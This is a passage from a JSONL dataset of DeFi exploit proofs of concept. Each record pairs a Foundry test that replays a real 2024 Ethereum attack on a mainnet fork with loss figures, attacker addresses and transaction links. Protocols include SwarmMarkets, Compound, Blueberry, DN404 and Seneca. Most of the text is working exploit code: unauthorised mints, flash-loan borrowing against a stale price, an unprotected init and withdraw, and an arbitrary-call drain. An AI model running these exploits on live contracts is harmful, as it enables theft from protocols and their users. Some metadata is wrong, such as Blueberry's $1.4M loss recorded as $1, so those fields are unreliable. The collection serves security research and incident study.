true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~7729 $DAI $USDC\n// Attacker : https://etherscan.io/address/0x38f68f119243adbca187e1ef64344ed475a8c69c\n// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809\n// Vulnerable Contract : https://etherscan.io/address/0x2b9dc65253c035eb21778cb3898eab5a0ada0cce\n// Attack Tx : https://etherscan.io/tx/0xc0be8c3792a5b1ba7d653dc681ff611a5b79a75fe51c359cf1aac633e9441574\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IXTOKEN {\n function mint(address account, uint256 amount) external;\n function burnFrom(address account, uint256 amount) external;\n}\n\ninterface IXTOKENWrapper {\n function unwrap(address _xToken, uint256 _amount) external;\n}\n\ninterface IPROXY {\n function register(address addr, address _token, address _xToken) external;\n}\n\ncontract ContractTest is Test {\n event TokenBalance(string key, uint256 val);\n\n IXTOKEN XTOKEN = IXTOKEN(0xD08E245Fdb3f1504aea4056e2C71615DA7001440);\n IXTOKEN XTOKEN2 = IXTOKEN(0x0a3fbF5B4cF80DB51fCAe21efe63f6a36D45d2B2);\n IXTOKENWrapper wrapper = IXTOKENWrapper(0x2b9dc65253c035Eb21778cB3898eab5A0AdA0cCe);\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_286_457 - 1);\n vm.label(address(XTOKEN), \"XTOKEN\");\n vm.label(address(XTOKEN2), \"XTOKEN2\");\n vm.label(address(wrapper), \"wrapper\");\n vm.label(address(DAI), \"DAI\");\n vm.label(address(USDC), \"USDC\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker DAI balance before attack:\", DAI.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"Attacker USDC balance before attack:\", DAI.balanceOf(address(this)), 18);\n XTOKEN.mint(address(this), DAI.balanceOf(address(wrapper)));\n XTOKEN2.mint(address(this), USDC.balanceOf(address(wrapper)));\n wrapper.unwrap(address(XTOKEN), DAI.balanceOf(address(wrapper)));\n wrapper.unwrap(address(XTOKEN2), USDC.balanceOf(address(wrapper)));\n emit log_named_decimal_uint(\"Attacker DAI balance after attack:\", DAI.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"Attacker USDC balance after attack:\", DAI.balanceOf(address(this)), 18);\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SwarmMarkets", "date": "2024-02", "file_name": "SwarmMarkets_exp.sol", "attack_vector": null, "content_hash": "1ba29e9396078d44", "collected_at": "2026-01-07T10:59:16.514325", "_source": "postmortems", "chain": "ethereum", "block_number": 19286457, "total_lost_raw": "~7729 $DAI $USDC", "total_lost_usd": 7729.0, "attacker_address": "https://etherscan.io/address/0x38f68f119243adbca187e1ef64344ed475a8c69c", "attack_contract": "https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809", "vulnerable_contract": "https://etherscan.io/address/0x2b9dc65253c035eb21778cb3898eab5a0ada0cce", "attack_tx": "https://etherscan.io/tx/0xc0be8c3792a5b1ba7d653dc681ff611a5b79a75fe51c359cf1aac633e9441574", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~7729 $DAI $USDC", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker DAI balance before attack:\", DAI.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"Attacker USDC balance before attack:\", DAI.balanceOf(address(this)), 18);\n XTOKEN.mint(address(this), DAI.balanceOf(address(wrapper)));\n XTOKEN2.mint(address(this), USDC.balanceOf(address(wrapper)));\n wrapper.unwrap(address(XTOKEN), DAI.balanceOf(address(wrapper)));\n wrapper.unwrap(address(XTOKEN2), USDC.balanceOf(address(wrapper)));\n emit log_named_decimal_uint(\"Attacker DAI balance after attack:\", DAI.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"Attacker USDC balance after attack:\", DAI.balanceOf(address(this)), 18);\n }\n\n fallback() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~7729 $DAI $USDC", "keyinfo_attacker": "https://etherscan.io/address/0x38f68f119243adbca187e1ef64344ed475a8c69c", "keyinfo_attack_contract": "https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x2b9dc65253c035eb21778cb3898eab5a0ada0cce", "keyinfo_attack_tx": "https://etherscan.io/tx/0xc0be8c3792a5b1ba7d653dc681ff611a5b79a75fe51c359cf1aac633e9441574", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$7.7K", "content_richness_score": 7.24, "quality_estimate": "medium", "title": "SwarmMarkets Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~439537 US$\n// Attacker : 0xe000008459b74a91e306a47c808061dfa372000e\n// Attack Contract : 0x2f99fb66ea797e7fa2d07262402ab38bd5e53b12\n// Vulnerable Contract : Compound protocol's price feeder, 0x50ce56A3239671Ab62f185704Caedf626352741e\n// Attack Tx : https://etherscan.io/tx/0xaee0f8d1235584a3212f233b655f87b89f22f1d4890782447c4ef742b37af58d\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x50ce56A3239671Ab62f185704Caedf626352741e#code\n\n// @Analysis\n// Lending Dashboard : https://debank.com/profile/0x2f99fb66ea797e7fa2d07262402ab38bd5e53b12\n// Twitter Guy : https://twitter.com/0xLEVI104/status/1762092203894276481\n\ncontract ContractTest is Test {\n IBalancerVault public vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n ICompoundcUSDC public cUSDC = ICompoundcUSDC(0x39AA39c021dfbaE8faC545936693aC917d5E7563);\n IComptroller public comptroller = IComptroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);\n IcUniToken public cUniToken = IcUniToken(0x35A18000230DA775CAc24873d00Ff85BccdeD550);\n IUNIV3Pool public UNI_WETH_Pool = IUNIV3Pool(0x1d42064Fc4Beb5F8aAF85F4617AE8b3b5B8Bd801);\n IUNI public uni = IUNI(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);\n IUNIV3Pool public WETH_USDC_Pool = IUNIV3Pool(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);\n IWETH public WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IUniswapAnchoredView public UniswapAnchoredView = IUniswapAnchoredView(0x50ce56A3239671Ab62f185704Caedf626352741e);\n\n uint256 public AMOUNT = 193_020_254_960;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_290_921 - 1);\n vm.label(address(vault), \"Balancer vault\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(cUSDC), \"cUSDC\");\n vm.label(address(comptroller), \"comptroller\");\n vm.label(address(cUniToken), \"cUniToken\");\n vm.label(address(UNI_WETH_Pool), \"UNI_WETH_Pool\");\n vm.label(address(uni), \"uni\");\n vm.label(address(WETH_USDC_Pool), \"WETH_USDC_Pool\");\n vm.label(address(WETH), \"WETH\");\n }\n\n function testExploit() public {\n console.log(\"USDC balance:\");\n emit log_named_decimal_uint(\" [INFO] Before attack\", USDC.balanceOf(address(this)), 6);\n\n address[] memory tokens = new address[](1);\n uint256[] memory amounts = new uint256[](1);\n tokens[0] = address(USDC);\n amounts[0] = AMOUNT;\n vault.flashLoan(address(this), tokens, amounts, bytes(\"\"));\n\n emit log_named_decimal_uint(\" [INFO] After attack\", USDC.balanceOf(address(this)), 6);\n console.log(\"When compound update the price, incomplete liquidation leading to bad debts\");\n }\n\n function receiveFlashLoan(IERC20[] memory, uint256[] memory, uint256[] memory, bytes memory) public {\n // pledge the USDC\n USDC.approve(address(cUSDC), AMOUNT);\n cUSDC.mint(AMOUNT);\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(cUSDC);\n comptroller.enterMarkets(cTokens);\n\n // You should calculate the max u can borrow\n (, uint256 myTotalLiquidity,) = comptroller.getAccountLiquidity(address(this));\n\n // The max amount of UNI we can borrow = AccountLiquidity / UNI's price in compound\n uint256 max_UNI_borrow =\n myTotalLiquidity / UniswapAnchoredView.getUnderlyingPrice(address(cUniToken)) * 10 ** uni.decimals();\n cUniToken.borrow(max_UNI_borrow);\n\n // Swap: UNI => WETH => USDC, for the low Slippage\n UNI_WETH_Pool.swap(address(this), true, int256(uni.balanceOf(address(this))), 42_095_128_740, bytes(\"\"));\n WETH_USDC_Pool.swap(\n address(this),\n false,\n int256(WETH.balanceOf(address(this))),\n 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341,\n bytes(\"\")\n );\n\n USDC.transfer(msg.sender, AMOUNT); // pay back flashloan\n }\n\n uint256 public num = 0;\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) public {\n // For the twice swap()\n if (num == 0) {\n uni.transfer(msg.sender, uint256(amount0Delta));\n num++;\n } else {\n WETH.transfer(msg.sender, uint256(amount1Delta));\n }\n }\n}\n\ninterface ICompoundcUSDC {\n function mint(\n uint256 mintAmount\n ) external returns (uint256);\n}\n\ninterface IComptroller {\n function enterMarkets(\n address[] memory cTokens\n ) external returns (uint256[] memory);\n function getAccountLiquidity(\n address account\n ) external view returns (uint256, uint256, uint256);\n}\n\ninterface IcUniToken {\n function borrow(\n uint256 borrowAmount\n ) external returns (uint256);\n}\n\ninterface IUNIV3Pool {\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes memory data\n ) external returns (int256 amount0, int256 amount1);\n}\n\ninterface IUNI {\n function balanceOf(\n address account\n ) external view returns (uint256);\n function decimals() external view returns (uint8);\n function transfer(address dst, uint256 rawAmount) external returns (bool);\n}\n\ninterface IUniswapAnchoredView {\n function getUnderlyingPrice(\n address cToken\n ) external view returns (uint256);\n}\n", "type": "exploit_poc", "protocol": "CompoundUni", "date": "2024-02", "file_name": "CompoundUni_exp.sol", "attack_vector": "flash_loan", "content_hash": "9851277f45e86273", "collected_at": "2026-01-07T10:59:16.514368", "_source": "postmortems", "chain": "ethereum", "block_number": 19290921, "total_lost_raw": "~439537 US$", "total_lost_usd": 439537.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0xaee0f8d1235584a3212f233b655f87b89f22f1d4890782447c4ef742b37af58d", "postmortem_url": null, "twitter_url": "https://twitter.com/0xLEVI104/status/1762092203894276481", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~439537 US$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n console.log(\"USDC balance:\");\n emit log_named_decimal_uint(\" [INFO] Before attack\", USDC.balanceOf(address(this)), 6);\n\n address[] memory tokens = new address[](1);\n uint256[] memory amounts = new uint256[](1);\n tokens[0] = address(USDC);\n amounts[0] = AMOUNT;\n vault.flashLoan(address(this), tokens, amounts, bytes(\"\"));\n\n emit log_named_decimal_uint(\" [INFO] After attack\", USDC.balanceOf(address(this)), 6);\n console.log(\"When compound update the price, incomplete liquidation leading to bad debts\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "~439537 US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0xaee0f8d1235584a3212f233b655f87b89f22f1d4890782447c4ef742b37af58d", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/0xLEVI104/status/1762092203894276481", "funds_lost_formatted": "$439.5K", "content_richness_score": 8.82, "quality_estimate": "high", "title": "CompoundUni Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "import \"forge-std/Test.sol\";\n\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$1,400,000 USD\n// Attacker : https://etherscan.io/address/0xc0ffeebabe5d496b2dde509f9fa189c25cf29671 (whitehat)\n// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809\n// Vulnerable Contract : https://etherscan.io/address/0xffadb0bba4379dfabfb20ca6823f6ec439429ec2\n// Attack Tx : https://etherscan.io/tx/0xf0464b01d962f714eee9d4392b2494524d0e10ce3eb3723873afd1346b8b06e4\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xffadb0bba4379dfabfb20ca6823f6ec439429ec2#code\n\n// @Analysis\n// https://twitter.com/blueberryFDN/status/1760865357236211964\n\ninterface IMarketFacet {\n function enterMarkets(\n address[] calldata vTokens\n ) external returns (uint256[] memory);\n}\n\ninterface bBep20Interface {\n function transfer(address dst, uint256 amount) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(\n address owner\n ) external view returns (uint256);\n\n /**\n * User Interface **\n */\n function mint(\n uint256 mintAmount\n ) external returns (uint256);\n\n function borrow(\n uint256 borrowAmount\n ) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n WETH9 private WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 private OHM = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);\n IERC20 private USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 private WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n\n bBep20Interface private bWETH = bBep20Interface(0x643d448CEa0D3616F0b32E3718F563b164e7eDd2);\n bBep20Interface private bOHM = bBep20Interface(0x08830038A6097C10f4A814274d5A68E64648d91c);\n bBep20Interface private bUSDC = bBep20Interface(0x649127D0800a8c68290129F091564aD2F1D62De1);\n bBep20Interface private bWBTC = bBep20Interface(0xE61ad5B0E40c856E6C193120Bd3fa28A432911B6);\n\n IMarketFacet BlueberryProtocol = IMarketFacet(0xfFadB0bbA4379dFAbFB20CA6823F6EC439429ec2);\n\n IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n\n Uni_Router_V3 pool = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_287_289 - 1);\n vm.label(address(this), \"AttackContract\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(OHM), \"OHM\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(WBTC), \"WBTC\");\n vm.label(address(bWETH), \"bWETH\");\n vm.label(address(bOHM), \"bOHM\");\n vm.label(address(bUSDC), \"bUSDC\");\n vm.label(address(bWBTC), \"bWBTC\");\n\n vm.label(address(BlueberryProtocol), \"BlueberryProtocol\");\n\n vm.label(address(balancer), \"balancer\");\n vm.label(address(pool), \"pool\");\n }\n\n function approveAll() internal {\n WETH.approve(address(bWETH), type(uint256).max);\n OHM.approve(address(pool), type(uint256).max);\n }\n\n function testAttack() public {\n vm.deal(address(this), 0.000000000000009997 ether);\n WETH.deposit{value: 0.000000000000009997 ether}();\n approveAll();\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 1_000_000_000_000_000_000;\n balancer.flashLoan(address(this), tokens, amounts, new bytes(1)); // borrow BUSD\n }\n\n function receiveFlashLoan(\n IERC20[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n address[] memory tokenList = new address[](1);\n tokenList[0] = address(bWETH);\n BlueberryProtocol.enterMarkets(tokenList);\n bWETH.mint(1_000_000_000_000_000_000);\n bOHM.borrow(8_616_071_267_266);\n bUSDC.borrow(913_262_603_416);\n bWBTC.borrow(686_690_100);\n Uni_Router_V3.ExactOutputSingleParams memory params = Uni_Router_V3.ExactOutputSingleParams({\n tokenIn: address(OHM),\n tokenOut: address(WETH),\n fee: 3000,\n recipient: address(this),\n deadline: type(uint256).max,\n amountOut: 999_999_999_999_999_999,\n amountInMaximum: type(uint256).max,\n sqrtPriceLimitX96: 0\n });\n pool.exactOutputSingle(params);\n WETH.transfer(address(balancer), 1_000_000_000_000_000_000);\n }\n\n receive() external payable {}\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "BlueberryProtocol", "date": "2024-02", "file_name": "BlueberryProtocol_exp.sol", "attack_vector": "flash_loan", "content_hash": "a551f43d531569c9", "collected_at": "2026-01-07T10:59:16.514423", "_source": "postmortems", "chain": "ethereum", "block_number": 19287289, "total_lost_raw": "~$1,400,000 USD", "total_lost_usd": 1.0, "attacker_address": "https://etherscan.io/address/0xc0ffeebabe5d496b2dde509f9fa189c25cf29671", "attack_contract": "https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809", "vulnerable_contract": "https://etherscan.io/address/0xffadb0bba4379dfabfb20ca6823f6ec439429ec2", "attack_tx": "https://etherscan.io/tx/0xf0464b01d962f714eee9d4392b2494524d0e10ce3eb3723873afd1346b8b06e4", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~$1,400,000 USD", "category": "flash-loan", "exploit_code": "function testAttack() public {\n vm.deal(address(this), 0.000000000000009997 ether);\n WETH.deposit{value: 0.000000000000009997 ether}();\n approveAll();\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 1_000_000_000_000_000_000;\n balancer.flashLoan(address(this), tokens, amounts, new bytes(1)); // borrow BUSD\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$1,400,000 USD", "keyinfo_attacker": "https://etherscan.io/address/0xc0ffeebabe5d496b2dde509f9fa189c25cf29671", "keyinfo_attack_contract": "https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xffadb0bba4379dfabfb20ca6823f6ec439429ec2", "keyinfo_attack_tx": "https://etherscan.io/tx/0xf0464b01d962f714eee9d4392b2494524d0e10ce3eb3723873afd1346b8b06e4", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1", "content_richness_score": 9.32, "quality_estimate": "high", "title": "BlueberryProtocol Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 200K\n// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd\n// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd\n// Vulnerable Contract : https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4\n// Attack Tx : https://etherscan.io/tx/0xbeef09ee9d694d2b24f3f367568cc6ba1dad591ea9f969c36e5b181fd301be82\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\n\ninterface IProxy {\n function init(IERC20 initToken, uint256 initPeriods, uint256 initInterval) external;\n\n function withdraw(IERC20 otherToken, uint256 amount, address receiver) external;\n}\n\ncontract DN404 is Test {\n uint256 constant blockNumber = 19_196_685;\n address constant victim = 0x2c7112245Fc4af701EBf90399264a7e89205Dad4;\n address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address constant FLIX = 0x83Cb9449b7077947a13Bf32025A8eAA3Fb1D8A5e;\n address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n address constant UniV3Pair = 0xa7434b755852F2555D6F96B9E28bAfE92F08Df97;\n\n function setUp() public {\n vm.label(victim, \"Proxy\");\n vm.label(WETH, \"WETH\");\n vm.label(FLIX, \"FLIX\");\n vm.label(USDT, \"USDT\");\n vm.label(UniV3Pair, \"Uniswap V3 Pair\");\n vm.createSelectFork(\"mainnet\", blockNumber);\n }\n\n function testExploit() public {\n // Implement exploit code here\n emit log_named_decimal_uint(\" Attacker USDT Balance Before exploit\", IERC20(USDT).balanceOf(address(this)), 6);\n\n uint256 initPeriods = 1;\n uint256 initInterval = 1_000_000_000_000_000_000;\n uint256 amount = IERC20(FLIX).balanceOf(address(victim));\n\n IProxy(victim).init(IERC20(WETH), initPeriods, initInterval);\n IProxy(victim).withdraw(IERC20(FLIX), amount, address(this));\n Uni_Pair_V3(UniV3Pair).swap(address(this), true, 685_000_000_000_000_000_000_000, 4_295_128_740, \"\");\n // Log balances after exploit\n emit log_named_decimal_uint(\" Attacker USDT Balance After exploit\", IERC20(USDT).balanceOf(address(this)), 6);\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256, bytes memory) external {\n IERC20(FLIX).transfer(msg.sender, uint256(amount0Delta));\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "DN404", "date": "2024-02", "file_name": "DN404_exp.sol", "attack_vector": null, "content_hash": "4bda2dd111204c71", "collected_at": "2026-01-07T10:59:16.514475", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "200K", "total_lost_usd": 200000.0, "attacker_address": "https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd", "attack_contract": "https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd", "vulnerable_contract": "https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4", "attack_tx": "https://etherscan.io/tx/0xbeef09ee9d694d2b24f3f367568cc6ba1dad591ea9f969c36e5b181fd301be82", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "200K", "category": "unknown", "exploit_code": "function testExploit() public {\n // Implement exploit code here\n emit log_named_decimal_uint(\" Attacker USDT Balance Before exploit\", IERC20(USDT).balanceOf(address(this)), 6);\n\n uint256 initPeriods = 1;\n uint256 initInterval = 1_000_000_000_000_000_000;\n uint256 amount = IERC20(FLIX).balanceOf(address(victim));\n\n IProxy(victim).init(IERC20(WETH), initPeriods, initInterval);\n IProxy(victim).withdraw(IERC20(FLIX), amount, address(this));\n Uni_Pair_V3(UniV3Pair).swap(address(this), true, 685_000_000_000_000_000_000_000, 4_295_128_740, \"\");\n // Log balances after exploit\n emit log_named_decimal_uint(\" Attacker USDT Balance After exploit\", IERC20(USDT).balanceOf(address(this)), 6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "200K", "keyinfo_attacker": "https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd", "keyinfo_attack_contract": "https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4", "keyinfo_attack_tx": "https://etherscan.io/tx/0xbeef09ee9d694d2b24f3f367568cc6ba1dad591ea9f969c36e5b181fd301be82", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$200.0K", "content_richness_score": 7.3, "quality_estimate": "medium", "title": "DN404 Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$6M\n// Attacker : https://etherscan.io/address/0x94641c01a4937f2c8ef930580cf396142a2942dc\n// Vuln Contract : https://etherscan.io/address/0x65c210c59b43eb68112b7a4f75c8393c36491f06\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x23fcf9d4517f7cc39815b09b0a80c023ab2c8196c826c93b4100f2e26b701286\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1763045563040411876\n\ninterface IChamber {\n function performOperations(\n uint8[] memory actions,\n uint256[] memory values,\n bytes[] memory datas\n ) external payable returns (uint256 value1, uint256 value2);\n}\n\ncontract ContractTest is Test {\n IChamber private constant Chamber = IChamber(0x65c210c59B43EB68112b7a4f75C8393C36491F06);\n IERC20 private constant PendlePrincipalToken = IERC20(0xB05cABCd99cf9a73b19805edefC5f67CA5d1895E);\n address private constant victim = 0x9CBF099ff424979439dFBa03F00B5961784c06ce;\n uint8 public constant OPERATION_CALL = 30;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_325_936);\n vm.label(address(Chamber), \"Chamber\");\n vm.label(address(PendlePrincipalToken), \"PendlePrincipalToken\");\n vm.label(victim, \"victim\");\n }\n\n function testExploit() public {\n // Datas\n uint256 amount = PendlePrincipalToken.balanceOf(victim);\n bytes memory callData =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victim, address(this), amount);\n bytes memory data = abi.encode(address(PendlePrincipalToken), callData, uint256(0), uint256(0), uint256(0));\n bytes[] memory datas = new bytes[](1);\n datas[0] = data;\n\n // Actions\n uint8[] memory actions = new uint8[](1);\n actions[0] = OPERATION_CALL;\n\n // Values\n uint256[] memory values = new uint256[](1);\n values[0] = uint256(0);\n\n emit log_named_decimal_uint(\n \"Exploiter PendlePrincipalToken balance before attack\",\n PendlePrincipalToken.balanceOf(address(this)),\n PendlePrincipalToken.decimals()\n );\n\n Chamber.performOperations(actions, values, datas);\n\n emit log_named_decimal_uint(\n \"Exploiter PendlePrincipalToken balance after attack\",\n PendlePrincipalToken.balanceOf(address(this)),\n PendlePrincipalToken.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Seneca", "date": "2024-02", "file_name": "Seneca_exp.sol", "attack_vector": null, "content_hash": "eeb6a4a7c030ffb1", "collected_at": "2026-01-07T10:59:16.514521", "_source": "postmortems", "chain": "ethereum", "block_number": 19325936, "total_lost_raw": "~$6M", "total_lost_usd": 6000000.0, "attacker_address": "https://etherscan.io/address/0x94641c01a4937f2c8ef930580cf396142a2942dc", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x23fcf9d4517f7cc39815b09b0a80c023ab2c8196c826c93b4100f2e26b701286", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~$6M", "category": "unknown", "exploit_code": "function testExploit() public {\n // Datas\n uint256 amount = PendlePrincipalToken.balanceOf(victim);\n bytes memory callData =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victim, address(this), amount);\n bytes memory data = abi.encode(address(PendlePrincipalToken), callData, uint256(0), uint256(0), uint256(0));\n bytes[] memory datas = new bytes[](1);\n datas[0] = data;\n\n // Actions\n uint8[] memory actions = new uint8[](1);\n actions[0] = OPERATION_CALL;\n\n // Values\n uint256[] memory values = new uint256[](1);\n values[0] = uint256(0);\n\n emit log_named_decimal_uint(\n \"Exploiter PendlePrincipalToken balance before attack\",\n PendlePrincipalToken.balanceOf(address(this)),\n PendlePrincipalToken.decimals()\n );\n\n Chamber.performOperations(actions, values, datas);\n\n emit log_named_decimal_uint(\n \"Exploiter PendlePrincipalToken balance after attack\",\n PendlePrincipalToken.balanceOf(address(this)),\n PendlePrincipalToken.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$6M", "keyinfo_attacker": "https://etherscan.io/address/0x94641c01a4937f2c8ef930580cf396142a2942dc", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x23fcf9d4517f7cc39815b09b0a80c023ab2c8196c826c93b4100f2e26b701286", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$6.00M", "content_richness_score": 6.26, "quality_estimate": "medium", "title": "Seneca Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.24;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~50 $ETH\n// Attacker : https://etherscan.io/address/0x2c903f97ea69b393ea03e7fab8d64d722b3f5559\n// Attack Contract : https://etherscan.io/address/0xe55607b2967ddbe5fa9a6a921991545b8277ef8f\n// Vulnerable Contract : https://etherscan.io/address/0xe4764f9cd8ecc9659d3abf35259638b20ac536e4\n// Attack Tx : https://etherscan.io/tx/0xd9b3e229acc755881890394cc76fde0d7b83b1abd4d046b0f69c1fd9fd495ff6\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1758028270770250134\n\ninterface IParticleExchange {\n function offerBid(\n address collection,\n uint256 margin,\n uint256 price,\n uint256 rate\n ) external returns (uint256 lienId);\n function swapWithEth(Lien calldata lien, uint256 lienId) external;\n function onERC721Received(address, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);\n function withdrawAccountBalance() external;\n function accountBalance(\n address account\n ) external returns (uint256 